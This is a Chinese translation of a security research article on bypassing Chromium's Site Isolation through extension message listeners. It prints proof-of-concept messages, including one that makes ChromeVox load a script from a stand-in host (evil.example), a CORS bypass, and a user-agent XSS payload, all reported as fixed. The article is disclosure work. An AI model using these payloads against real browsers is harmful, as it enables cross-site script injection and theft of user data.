深度剖析站点隔离机制,Part 2(下)
2021-01-17 10:25:00 Author: www.4hou.com(查看原文) 阅读量:210 收藏

在本文的上篇中,我们为读者介绍了在审查Chromium于2019年对站点隔离机制所做改进的过程中发现的各种安全漏洞。在本文中,我们将与读者一道,继续咱们的审查之旅。

深度剖析站点隔离机制,Part 1

深度剖析站点隔离机制,Part 2(上)

其他研究人员发现的站点隔离绕过方法

实际上,其他研究人员已经发现了许多很好的站点隔离绕过方法。

通过覆盖Host头部绕过站点隔离机制

Ivan Fratric已经发现了一个漏洞,通过它可以在重定向时覆盖各种请求头部,包括Host头部。虽然没有明确提到如何利用这个漏洞,但这个漏洞允许在向攻击者的网站发出的请求中附加隶属于其他网站的cookie。

这是一个非常有趣的漏洞,它利用了浏览器附加cookies的决策方式。

利用Payment Handler API漏洞绕过站点隔离措施,并泄露本地文件

Sergei GlazunovPayment Handler API中发现了一个漏洞,即openWindow方法中的url参数的同源检查只在渲染器进程中进行,因此,可以利用被入侵的渲染器绕过该项检查。

Sergei介绍了2种利用该漏洞的方法:

1. 本地文件泄露

攻击者下载一个包含渲染器exploit的HTML文件。然后,攻击者可以利用openWindow中的漏洞打开下载的文件。因为任何File URL都被视为同源的,所以下载的文件现在可以读取任何本地文件,并允许将其内容发送到远程服务器。

2. UXSS(等效)

Sergei还注意到,当利用openWindow中的漏洞打开一个JavaScript URL时,不会为生成的进程指定Site。而Chrome浏览器会在该窗口中重用同一个进程进行导航。这意味着,攻击者可以通过打开JavaScript URL来破坏渲染器进程,然后在攻击者完全控制该进程的情况下命令Chrome导航到任何网站。这本质上就是一个UXSS,尽管它的原语要比UXSS强大得多(因为它可以调用本地函数,而不是JS函数)。

Blob URL注册中的站点隔离绕过漏洞

Sergei Glazunov注意到,Blob URL注册的安全检查与进程有效性检查是一起进行的。

if (!delegate_->CanCommitURL(url) && delegate_->IsProcessValid()) {
  // kill the rendere process.
}

而Sergei发现,通过一个被入侵的渲染器,可以让一个进程无效(即让IsProcessValid()返回false),同时让渲染器进程仍处于存活状态。因此,Sergei能够藉此绕过安全检查,为任意网站创建Blob URL(即UXSS漏洞)。

这个漏洞是一个令人难以置信的发现,因为这不仅需要深入了解进程终止的内部机制,还得能够找到含有漏洞的代码。

滥用扩展来绕过站点隔离

在多种绕过站点隔离的方法被曝光之后,显然低垂的果实已经接近用尽。于是,我改变了思路,开始寻找默认情况下允许访问跨站数据的进程,而扩展的进程似乎很有希望。

后台脚本和内容脚本

Chrome扩展支持2种脚本:

· 后台脚本(在扩展进程中执行)

· 内容脚本(注入到渲染器进程中)

后台脚本是一个具有特权的脚本,它不仅可以绕过CORS,还可以向扩展有访问权限的站点中注入任意脚本。

另外,内容脚本和后台脚本之间还存在相应的通信通道。

· chrome.runtime.sendMessage -> chrome.runtime.onMessage.addListener

· chrome.extension.sendMessage -> chrome.extension.onMessage.addListener

· chrome.extension.sendRequest -> chrome.extension.onRequest.addListener

· port.postMessage -> port.onMessage.addListener

· chrome.storage.local.set -> chrome.storage.local.get

· etc

虽然内容脚本运行在一个隔离的世界中,但它仍然运行在渲染器进程内部。而且,由于很多扩展会给所有网站注入一个内容脚本(如密码管理器扩展、广告拦截扩展等),因此,被入侵的渲染器可以通过上述通信渠道给后台脚本发送消息。

1.png

但我不确定是否有扩展会对内容脚本传递的消息做手脚,所以,我开始对扩展进行审计,看看这种技术的实际可利用性到底有多高。

Screen Reader扩展中的漏洞

Screen Reader扩展,又名ChromeVox,是由Chrome团队开发的一款扩展。这个扩展的特别之处在于,它已经被Chrome列入了白名单,因此,它可以将内容脚本注入到New Tab Page、Devtools、Chrome Extension Store等页面中,而这些页面通常是不允许被扩展注入脚本的。在写这篇文章的时候,这个扩展已经拥有10万多用户。

UXSS

于是,我开始考察该扩展的代码,不久之后,后台脚本中的消息侦听器就引起了我的注意。

var target = msg['target'];
var action = msg['action'];
switch (target) {
...
  case 'Prefs':
      if (action == 'getPrefs') {
          this.prefs.sendPrefsToPort(port);
      } else if (action == 'setPref') {
          var pref = (msg['pref']);
          var announce = !!msg['announce'];
          cvox.ChromeVoxBackground.setPref(pref, msg['value'], announce);
      }
      break;

其中,msg是从内容脚本接收的消息对象。这段代码本质上允许内容脚本获取或设置首选项。所以,我开始寻找可能允许我们利用这个漏洞的首选项。而幸运的是,有一个名为siteSpecificScriptLoader的首选项。如果这个首选项被设置为URL,扩展就会读取该URL的内容,并将其作为内容脚本注入所有网站!

如果渲染器被入侵,那么发送下面的消息将会导致UXSS攻击,同时还会在一些特权页面中运行脚本。

cvox.ChromeVox.host.sendToBackgroundPage({'target': 'Prefs', 'action': 'setPref',
'pref': 'siteSpecificScriptLoader', 'value': 'https://evil.example/bad.js', 'announce': true});

CORS绕过技术

除此之外,我还注意到了另外一个有趣的消息侦听器。 

cvox.InjectedScriptLoader.fetchCode = function(files, done) {
    var code = {};
    var waiting = files.length;
    var loadScriptAsCode = function(src) {
        var xhr = new XMLHttpRequest();
        var url = chrome.extension.getURL(src) + '?' + new Date().getTime();
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                var scriptText = xhr.responseText;
                ...
                code[src] = scriptText;
                waiting--;
                if (waiting == 0) {
                    done(code);
                }
            }
        };
        xhr.open('GET', url);
        xhr.send(null);
    };
    files.forEach(function(f) {
        loadScriptAsCode(f);
    });
};
 
...
 
chrome.extension.onMessage.addListener(function(request, sender, callback) {
    if (request['srcFile']) {
        var srcFile = request['srcFile'];
        cvox.InjectedScriptLoader.fetchCode([srcFile], function(code) {
            callback({
                'code': code[srcFile]
            });
        });
    }
    return true;
});

这段代码得到的srcFile是一个URL,之后会通过chrome.extension.getURL将这个URL转换为一个完整的URL,然后,使用XHR来获取文件并将其内容返回给内容脚本。

到目前为止,一切似乎都很正常,但由于chrome.extension.getURL中的一个奇怪的bug,导致了一个严重的安全问题。以前,如果你向chrome.extension.getURL提供一个完整的URL,它会原封不动地返回该URL,这一点不同于chrome.runtime.getURL。        

> chrome.runtime.getURL(“https://test.example”);
"chrome-extension://foo/https://test.example"
> chrome.extension.getURL(“https://test.example”);
"https://test.example"

通过滥用这种行为,我们可以使用上面的侦听器获取任何网站的内容,因为后台脚本可以绕过CORS。 

chrome.extension.sendMessage({srcFile: 'https://www.google.com'}, content => {alert(content)});

本地文件泄露

经过进一步调查后,我又发现了一个可疑的消息侦听器:

var target = msg['target'];
var action = msg['action'];
switch (target) {
...
  case 'OpenTab':
      var destination = {
              url: msg['url']
      };
      chrome.tabs.create(destination);
      break;

这也是一个含有UXSS漏洞的侦听器。但就这里来说,它会从消息对象中获取一个URL,并将其直接传递给chrome.tabs.create。那么,问题出在哪里呢?因为chrome.tabs.create是一个扩展API,它可以打开那些无法通过网站打开的URL,比如文件URL和Chrome URL(用于浏览器内部页面)。

cvox.ChromeVox.host.sendToBackgroundPage({'target': 'OpenTab', 'url': 'chrome://settings'});

通过使用Sergei发现的漏洞的利用方法,攻击者就能够实现本地文件泄露攻击。

1.png

浏览历史记录泄露

众所周知,Screen Reader扩展总是会将最近访问过的20个URL暴露给所有内容脚本。

cvox.ChromeVox.visitedUrls;

这不需要借助被入侵的渲染器,因为Spectre漏洞应该能够读取渲染器进程的内存。

Chrome浏览器的用户代理切换器

Chrome浏览器的User-Agent Switcher for Chrome是一款允许用户在访问网站时更改用户代理的扩展。在撰写这篇文章的时候,这个扩展已经有2M+的用户。

在审查该扩展的代码时,我很快就发现了一个可疑的消息侦听器。

chrome.extension.onRequest.addListener(
    function(request, sender, sendResponse) {
        ...
        else if (request.action == "add_ua") {
            addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator);
        ...
        }

这实际上就是允许消息发送者添加新的用户代理字符串。那么,我们能用它做些什么呢?由于该扩展还试图在页面的JavaScript中伪造用户代理(即Navigator.userAgent),因此,以下内容脚本被注入到每个站点中。

var a = document.createElement("script");
a.type = "text/javascript";
a.innerText += "Object.defineProperty(window.navigator, 'userAgent',
{ get: function(){ return '" + (b.append_to_default_ua ? navigator.userAgent + ' ' + b.ua_string : b.ua_string) + "'; } });";
...
document.documentElement.insertBefore(a, document.documentElement.firstChild);

实际上,这个内容脚本还存在一个XSS漏洞,如果用户代理字符串可以被攻击者控制的话。同时,由于被入侵的渲染器进程可以发送消息来添加任意的用户代理字符串,这就导致了一个UXSS漏洞。

chrome.extension.sendRequest({action: 'add_ua', name: 'Edge', user_agent: "Edge'+alert(origin)+'",
append_to_default_ua: true, indicator: 'Edge'});

我已经向谷歌报告了这个安全漏洞,并且,目前该漏洞已经得到了修复。

其他扩展

鉴于已经在谷歌开发的扩展中发现了多个漏洞,因此,我决定研究一下其他常用的扩展,这一研究不要紧,结果又发现了多处漏洞。不过,我并不打算深入讲解这些技术细节,相反,这里只做概要介绍(所有这些安全问题都已被修复)。

· 利用被入侵的渲染器,从LastPass扩展(10M+用户)中窃取所有的用户名和密码。

· 利用被入侵的渲染器,从Dashlane扩展(4M+用户)中窃取所有的用户名、密码和信用卡信息。

· uBlock Origin扩展(10M+用户)中,利用被入侵的渲染器,实施UXSS、CORS绕过和本地文件泄露攻击。

· 利用被入侵的渲染器,从Keeper Security扩展(300k+用户)中窃取所有信用卡信息(30万+用户)。

由此可见,信任来自内容脚本的信息的现象在扩展中是相当普遍的。

小结

看到站点隔离能够在多大程度上减少渲染器攻击所造成的损害,这确实令人兴奋。然而,一旦安装了扩展,渲染器exploit通过扩展绕过站点隔离的机会就会陡增。因此,浏览器扩展开发者应该注意这些攻击面,并始终验证消息发送者的源或URL。对于用户来说,则应该只安装真正可信的浏览器扩展。

本文翻译自:https://microsoftedge.github.io/edgevr/posts/deep-dive-into-site-isolation-part-2/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/w2mR
如有侵权请联系:admin#unsafe.sh